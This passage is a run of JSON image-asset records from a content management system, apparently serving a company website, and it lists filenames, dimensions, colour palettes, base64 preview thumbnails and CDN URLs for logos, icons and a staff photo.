"_type":"sanity.imagePaletteSwatch","background":"#b4bbd7","foreground":"#000","population":2.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bbd7","foreground":"#000","population":2.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb9454","foreground":"#000","population":0.24,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#607cb4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e55c44","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Sensorflow quote 2.png","path":"images/sczeoy4w/production/f9135b2343dc588a9fb412982360229dfb879e88-1200x628.png","sha1hash":"f9135b2343dc588a9fb412982360229dfb879e88","size":272783,"uploadId":"TVNhX9YZ6GKKRoMGZVlwZVF6FdK21fzC","url":"https://cdn.sanity.io/images/sczeoy4w/production/f9135b2343dc588a9fb412982360229dfb879e88-1200x628.png"} {"_createdAt":"2022-11-15T09:32:05Z","_id":"image-f9326a0631735d1efc1db90ce80593af2c1d90c3-2304x2304-jpg","_rev":"YI3rks3mbRtnzMpdn6DDkS","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T06:54:16Z","altText":"Mark Roberts, Senior Copywriter at Aiven","assetId":"f9326a0631735d1efc1db90ce80593af2c1d90c3","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"erN0*sbI.T%2rq~qRjkWj[RjE1s:MxR+t7%gofs:ayWBX9WAV@ayRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2304,"width":2304},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGgABAAIDAQAAAAAAAAAAAAAAAAMFBAYHCP/EACYQAAEDBAAGAgMAAAAAAAAAAAECAwQABQYREhMhMUFRByVhcYH/xAAWAQEBAQAAAAAAAAAAAAAAAAAEAwL/xAAaEQADAAMBAAAAAAAAAAAAAAAAAQIDERIT/9oADAMBAAIRAxEAPwDuGe3leP44uWyCVFaUbHcA+arsWvkhyXHbd4zHf6ArO9nXcVifNk6AxgspmXI5ch0jkIT1UtXrVaTgGTtWiPbpOSERoaiG2Qs7IV7P4rOVV3LkTgceVKkd6KOtKrI2S2WSyHWLpDWg9jzRSkgjwld8lvF1ujM+4Tnn5AVscZ2B+hU03Irjkbv2joWlkabSlPCB/KUpTldJ6JdNQ1siZcWlGgtQG/BNKUqgc//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#314964","foreground":"#fff","population":2.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#882c18","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f0b9a5","foreground":"#000","population":4.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbc2d0","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0b9a5","foreground":"#000","population":4.54,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#688ca5","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d0695d","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"IMG_2043 Edited.jpe.jpg","path":"images/sczeoy4w/production/f9326a0631735d1efc1db90ce80593af2c1d90c3-2304x2304.jpg","sha1hash":"f9326a0631735d1efc1db90ce80593af2c1d90c3","size":1109359,"title":null,"uploadId":"78aNs2s5OrM706o7jkV81mQFVSsZJFDS","url":"https://cdn.sanity.io/images/sczeoy4w/production/f9326a0631735d1efc1db90ce80593af2c1d90c3-2304x2304.jpg"} {"_createdAt":"2022-09-14T10:49:54Z","_id":"image-f938cd57e74ea990abe29da703029865c2497d31-500x497-png","_rev":"PMq0xitQ26NszJZ6mWzPGF","_type":"sanity.imageAsset","_updatedAt":"2022-09-14T10:49:54Z","assetId":"f938cd57e74ea990abe29da703029865c2497d31","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eJLV,j+x00?v9[0#9zieW9xr00$cGGMyxb}j%LY6-noz3F6-Z$Ip,E","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0060362173038229,"height":497,"width":500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#54373c","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#56140a","foreground":"#fff","population":0.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8a152","foreground":"#000","population":3.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4c5b6","foreground":"#000","population":0.26,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8a152","foreground":"#000","population":3.49,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f815f","foreground":"#fff","population":0.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f88f35","foreground":"#000","population":3.38,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"men-gives-thumbsup.png","path":"images/sczeoy4w/production/f938cd57e74ea990abe29da703029865c2497d31-500x497.png","sha1hash":"f938cd57e74ea990abe29da703029865c2497d31","size":32302,"uploadId":"DXKwl4EYSlLB0iFCdyFZfO1xxePSh21s","url":"https://cdn.sanity.io/images/sczeoy4w/production/f938cd57e74ea990abe29da703029865c2497d31-500x497.png"} {"_createdAt":"2024-05-06T11:42:22Z","_id":"image-f96c9ead9de8adf6edabc4ac93c52b9412244344-747x428-svg","_rev":"BBilaBRu5SWkONsyWkXn8e","_type":"sanity.imageAsset","_updatedAt":"2024-05-06T11:42:22Z","assetId":"f96c9ead9de8adf6edabc4ac93c52b9412244344","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MYCip-}l=XxYNHadj[SOI:I=MxS5S5WXaz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7453271028037383,"height":428,"width":747},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAADSUlEQVQokT2TXUybZRTHT6VMGLDFbYxgtOvztJ1Q2kH5mDohTGjHh8jHYrr3vG9HrZMhy1ae8779AoabZW1pF0bGVMIck+6jw48bEyVismVq1HizGLcRTTReyI0Xxl2Y3chWUzI9yS/n/885OTk3f8hmKiB7/Qm4f8WWt5axsrVMVWN20WrIflmmu3v+BcgubwOGBDsODP+P4RH/+afd/nUMbj/AkYAC2U+MuntpO1+dd7hX5p7tPhftMe6QgyV2L22o7A/k7/QENlgUrcTi0UotHm27RdHKzIpablbUJx/1dSyKth2yd8rg70tVT63M1g9+fbYxPjvR1Wvv97czpC6zTLUmWXWYZKrhSD1cpiGTTCpHGuFIQS7TUS7TMEMaY0ghLpMX1q5Wlv/wzu7BTKJ1eerNrsvR0b7BniFf0n7w6EWGFGNIkwzpLYb0LkNaZEjfMKTbDMWnHGmSI6WYJD5jKNIcaQDuX65q+WKqaW4kvP/nwwLvzJzsXDox0rf8nO+N740S3WQovmKSuM5QvM+Q3mMo7jJJ/M4k8TFHOsSRvAzFPENSTbJqyB2svpZw+g4L/GhYc/+SjrmWUuMvT9d5j3xolOgiQzHHJJH7LMiQ4gzpR4biOyYJjSM1cKQ+hnSGIXXXDozp4LcLDY9Hx/rqEse7p9IxV+bbmT1KMOTevVMRBziSi8vUwpHcXKZGjvQaR7rAkU5wmXaZFW0TR2rmSEMcqZYh6eDG2ReLl6b29t6Ybpy4PdvwyoOrFdueH9A2Wl+NlNcOjG6teX10i80XLrP5IlufORgwWzxafUV/0NowOL65LZgssPnC5RaPxk2yuqm0dwjg3qVq6+q8A1fnHZ1/LdhL/8w0gVON6dsDsSJXYLK4I5Qq6gynClvVeGHTsWjhXnGqwKkmivYFkiUd4VRJWzC50aUl8tuDSXBqCYC1a7b6fzJVNQ8ylVv+WKgD2LMAGDmua6G43qnGc4v6jlBK36rG9U3+aF6zOJWX023BZH5n5PT63KnGH2senoD2UBLg4QcOw8PFXcW/zlUDQBbWk/OTArOf3wL3yXNAb1+Bgn0+OJQ8D/6ZNOTq5q0V6B07Ay9FTsOxmTTkO71glATsH5+GfwGB0z0IMQjnpQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#345465","foreground":"#fff","population":0.68,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8b4606","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#345465","foreground":"#fff","population":0.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6a07e","foreground":"#000","population":0.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5b474","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b0ad5c","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f89f0a","foreground":"#000","population":0.28,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-swift-solutions.svg","path":"images/sczeoy4w/production/f96c9ead9de8adf6edabc4ac93c52b9412244344-747x428.svg","sha1hash":"f96c9ead9de8adf6edabc4ac93c52b9412244344","size":25297,"uploadId":"CzJ5UyPgYia1a7tE4weZ6MNocvjWk3sm","url":"https://cdn.sanity.io/images/sczeoy4w/production/f96c9ead9de8adf6edabc4ac93c52b9412244344-747x428.svg"} {"_createdAt":"2023-04-13T12:56:25Z","_id":"image-f992879d1c17eb7b86be52fe3ef3252544b90705-200x200-jpg","_rev":"5XbIyfqcIkGlU3arGUhrYk","_type":"sanity.imageAsset","_updatedAt":"2023-04-13T12:56:25Z","assetId":"f992879d1c17eb7b86be52fe3ef3252544b90705","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9Qym=#qVE$ka0$8f6fjfQfkQ8j[pbf6kq$Rfkayjtf6uhf7VFf6a1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":200,"width":200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAMFBgH/xAAhEAACAQQCAgMAAAAAAAAAAAAAAQIDBBESBSEGFBUxQf/EABkBAAEFAAAAAAAAAAAAAAAAAAABAgMGB//EABsRAAMAAgMAAAAAAAAAAAAAAAABAgMRIVFx/9oADAMBAAIRAxEAPwDDYO6vGcMteK5aFjbzpys6FZyae012iwl5NSlBR+OtoqKytY/pYHT6NwvLlT1MbXpmWsPsE15X9i5qVdVHd5wvpAcTptrkhAACgAAB/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#95035c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc0588","foreground":"#fff","population":1.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ec048c","foreground":"#fff","population":84.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c88eb5","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6dd7","foreground":"#000","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b4889f","foreground":"#000","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec048c","foreground":"#fff","population":84.45,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"1669633711247.jpeg","path":"images/sczeoy4w/production/f992879d1c17eb7b86be52fe3ef3252544b90705-200x200.jpg","sha1hash":"f992879d1c17eb7b86be52fe3ef3252544b90705","size":3959,"uploadId":"S2Y8vAtdfYSsOVQJc2mKfMbpxWDWgrWK","url":"https://cdn.sanity.io/images/sczeoy4w/production/f992879d1c17eb7b86be52fe3ef3252544b90705-200x200.jpg"} {"_createdAt":"2022-09-07T11:39:48Z","_id":"image-f9acc5a5c5becd8847ca9aebb3a585b153afeb16-24x24-svg","_rev":"QRl2cGoCgj0FlAhkRqFkLe","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:48Z","assetId":"f9acc5a5c5becd8847ca9aebb3a585b153afeb16","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAABWklEQVQ4je2VTU4CQRCFX/AC6sIMN0BX7l1wBRIjuGGIvJZrgJ4ArqC38Ac5WT/zmh5EMhgILF1UKlNd9XVXV1UPNEJDRFNEW8S9iL4C+itdJ+s+RC/FDtFUiQYUEmwg4lXEh4gvBSxELJKuk2rNvssYx5aGGtjOhjcRUxFjBUxEPCUJNVLZmfymOdaMNvKR3/PCtYiWiCsRhQLORJwnvSm2E6cKyXdmRiR6yPfhNL3bpYhbbxKJCxHO4G9hgvu0c7NsXAHjHsC4FcjDU445ZbMM3CzKZMeiPGefWVWUmIvitikj8ZJ3mSuk4y91nfz4fMYlzLGlWdBjauwiEjciOiLuFNAV0U26Tqo1+xKdHFvowY09wkn6WAPGPYFy7BCFBr8nZZVy3CFl+8Sccr6urZNycFF6/5PSOvakjPd5vmLN83WUBzYup63pxm64F13yXPG9fwGONcyN/Q03178tDxXoqAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#64342c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#750604","foreground":"#fff","population":1.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e96d17","foreground":"#fff","population":1.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8b410d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3b285","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa754d","foreground":"#fff","population":1.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e96d17","foreground":"#fff","population":1.22,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-server.svg","path":"images/sczeoy4w/production/f9acc5a5c5becd8847ca9aebb3a585b153afeb16-24x24.svg","sha1hash":"f9acc5a5c5becd8847ca9aebb3a585b153afeb16","size":787,"uploadId":"TtSuSGbIEY0uhCqzHbctvj3eP4VxWpm8","url":"https://cdn.sanity.io/images/sczeoy4w/production/f9acc5a5c5becd8847ca9aebb3a585b153afeb16-24x24.svg"} {"_createdAt":"2022-08-29T14:12:01Z","_id":"image-f9f82aa59c4290cf89e8b5e73c01dcce3527c08b-43x33-svg","_rev":"EdPvsAnB5lsAwT1bYopWf6","_type":"sanity.imageAsset","_updatedAt":"2022-08-29T14:12:01Z","assetId":"f9f82aa59c4290cf89e8b5e73c01dcce3527c08b","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V28XUrxu00fiIA00WA4TWBIU_4jZ.8kCt8ITaeIAof?c","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.303030303030303,"height":33,"width":43},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAACeUlEQVQ4jW2U3YtNURjG1xlmIsyEGIMawsiQGR8XknGrpHxlcPZ+1pzzrPXsQww3SrjwUZIbhVy4JFduJC5dkY8UUi79FfwDetdeZ2Zq7Hrbe6+139963+dZazvnnPOVHNqVQ5ArJQdqMaiDoJ6C+g3qL6g/oH6Bug9qF6heH73zQa7JTsqfucKZlgOrFJ5aCGoPqEegfiDoM4JegXoN6iuoL6BugdVIGarGZHvaIVTu1DnNAm2VOcBBUFdBfQf1FlRA0D5Q+0FdBPUO1AdQHkHL6py6u3lAH2XAMVDPQX0EJVArCnVcwdgAtRbUNVDfEPQAQcM+/BdYJagPavhQjfo66QaoHaAW+FD1tBRNp16wOgHqPagXCNpuuVOm4TzgTOnVAIJGQW0Ftd4M8NS4D1V/NqsJ6hOoZ6C21cV0zMhZYNm2dmO39QFQexG0G9QBUPdA3U1j1Dioh8ks6k6SIKQi5gOnTL8auArUMVDnQV0C9TiHGfUk6Ue9AXUY1KJkpgHbsYYZuRtlOxq8D0wtXwB1G9QkqClQL0H9zM63wWqwbGXtTa5ulTMwhrRSXaWtnFo8BGoDauetwpu5MttaPQU7rqRsB+T8kIDLQS0tGftKhh5QDQRZlUty2PNKMyAb1V+0gmvGjitC5Yp0UqIrGJyPNfAoqIlchVUznFu25HWgNuaTM5FNGkVbQ6BWg1pjB8HXdxsbMqC1UoGKWSuL7vPZvLmn85i9WxwHdTJ/A1AlqNOmtwEvgyry5BVQ10F18n4ziDkdMuBIhnWNsoUs3wz0YGwa0P4q1qKdCluFYDq7W7IM9mcZAbU5300Wm7OcnXl+DIwjYNz0D1xkhXtuvsuyAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4442","foreground":"#fff","population":0.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0b","foreground":"#fff","population":2.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0b","foreground":"#fff","population":2.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#267269","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bddd5","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c6c6d","foreground":"#fff","population":0.92,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbfaf","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-digital-ocean-dark.svg","path":"images/sczeoy4w/production/f9f82aa59c4290cf89e8b5e73c01dcce3527c08b-43x33.svg","sha1hash":"f9f82aa59c4290cf89e8b5e73c01dcce3527c08b","size":4750,"uploadId":"qJAGYRvYXy3yGi0LoKElZEHCbdm1HdLs","url":"https://cdn.sanity.io/images/sczeoy4w/production/f9f82aa59c4290cf89e8b5e73c01dcce3527c08b-43x33.svg"} {"_createdAt":"2022-06-16T22:54:03Z","_id":"image-f9fd6ec4793fd82c61e5bd0ba5775d05a899f358-74x67-png","_rev":"qkpX9b3U0TpOGFQp8fNzvO","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:03Z","assetId":"f9fd6ec4793fd82c61e5bd0ba5775d05a899f358","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eA8#KfM{4Tt7Dhoft7RjWBof4TofyGWBx_RjRjt7j[WB9,t7$_axs*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1044776119402986,"height":67,"width":74},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEmklEQVQ4jXWUe0xTVxjAv2JAsozysGXyGhQLii90KhpYlm2IW7KZuKjLksXMRYRS2lKQTnxQFGjLvbe3ve29baVOUYTeFmlve29LS8sGOqdj8tJNiY9lyUw0i4mJLvvD+EeX25ngpn7J75zvyznnly8nOQfgeYQjUQhHRiEaG4PRaCwBn7+S6L/z9+MTMBKOQDgcgZfi+q83EsTjcZidu5aQs2wQAiyXmF/MecHU9Ezi3P0HD+CPe/deFs5du56AF07PzPIdCEIjYUEo9D9GwoJodEwwNTWd2Hv37m9w+/adBVFFewwqO8YAJRzwt1cJxxHrItLuTOs7OyCm3efFtGcBt2dYTLuHxGfODogdvaeEqNW56Pd+BRhwCrZoY7DxaBSgUhuD945/BybEAAe67YDqOlNNOF7s7O0tcw26JB7aXeSh6ee4i1yDg5JvT55caacoqdNmTW3uJAE16GEveRm28MLt2EX4DP8Bvum2AhjjoNYahYeO9ZR1GAgJ5hhI1zvcaccpl7DLRguRXk8aYj+X3oVR0k7UuuYoeiId9HE4rLfAHvIKfIJeAJCog1DSEoJNbWySSBZ4q6jBXV2u6P96udy1M0fGVObIA1XZMn+NqI6pWSrzV+U3MJVrVfTuiubB2hLFUHVWfSB7vYZJ4j2FTRxAroKFt1UcrG0LJ7+5z/tBVp33XJHSP5MnZyZEdb6zkibOVdoSulCoZC/myf2u3AZ/38oDwYkNbSOzUjXXv6SeeV9Y602GL2hY2hiAxFCgZGFDeyxl8d7hXaJ6ZmaVJhwvVgefZOz3zS5rDt6s1MaermuLPM2XB27mNfinqrSxxx/rx+PlbZFpkYzZCV96UuCj05At9y8IN2ljKal7h3eLZf65tQcj8ZKW0F/CWu9cTmNgfnN77NnGw6PPsuuZ+dwG/0yVNvakqmMsXqTiZoW13l1Z9UwK32G2PABQoOJA0hSEd46MJqfX+mqWypihshbuprSJnVxS5/OI6hmfVB28WtIcvCquY3z5DX66XBP6qVTNzmft93nS9vmqV7SGkvmm+OuDMk0YVh+MQFX7SFKBkstbofJ+urnF3bhOfX6PRMluzW/kavIb2R0FCnZHQSO7tVTFVVe0er/afMCjWq4a3l6g4PLePcolrW8Lw0rNCMAu4kf43HIZmvVO2GS5L1AcIzM1HdjqQ92WZR2Wc5la0p2uMbkyW/HBRK4192dqEVtpJ0Zt7DY7C3XW028ghEOgw22AUH0AW7vHYZtuAnDdMVB2OQHr0qaiBr3UbMJX2ShKardRxY7n2G22YookpRaCWGMhzOWk1crXGRRFJeG4Cex2O8CHunGo0U+AVo9D3LwKjnTji3Q9xgwMJ3JMhDXXRJA5/8FszeXXjCaLiCDt6aTtxGLKfkJgJkiwOZwLbxpBjdCDYHCq7wzgZgJQzJiEoK+HsFghOjYGv9y4kfjOJn++CvPztxaEPagRDAgGAzQNJsICmNEEKIa/Fl54ZXIS/nz4EC5dugy3bt+BR48evyBEMOhBULBYycQBvjb0oK+EX+OFAwODcH7YC7TbA27PEAQCLPwDdzdnDhTVI90AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#294458","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#084489","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#adddf8","foreground":"#000","population":0.65,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0c5e8c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#adddf8","foreground":"#000","population":0.65,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c84a4","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c7cd4","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cluster_partners_IVP.png","path":"images/sczeoy4w/production/f9fd6ec4793fd82c61e5bd0ba5775d05a899f358-74x67.png","sha1hash":"f9fd6ec4793fd82c61e5bd0ba5775d05a899f358","size":2683,"uploadId":"HeNU7GAYweWrQpXNLVtrnDTXBaPDZg9L","url":"https://cdn.sanity.io/images/sczeoy4w/production/f9fd6ec4793fd82c61e5bd0ba5775d05a899f358-74x67.png"} 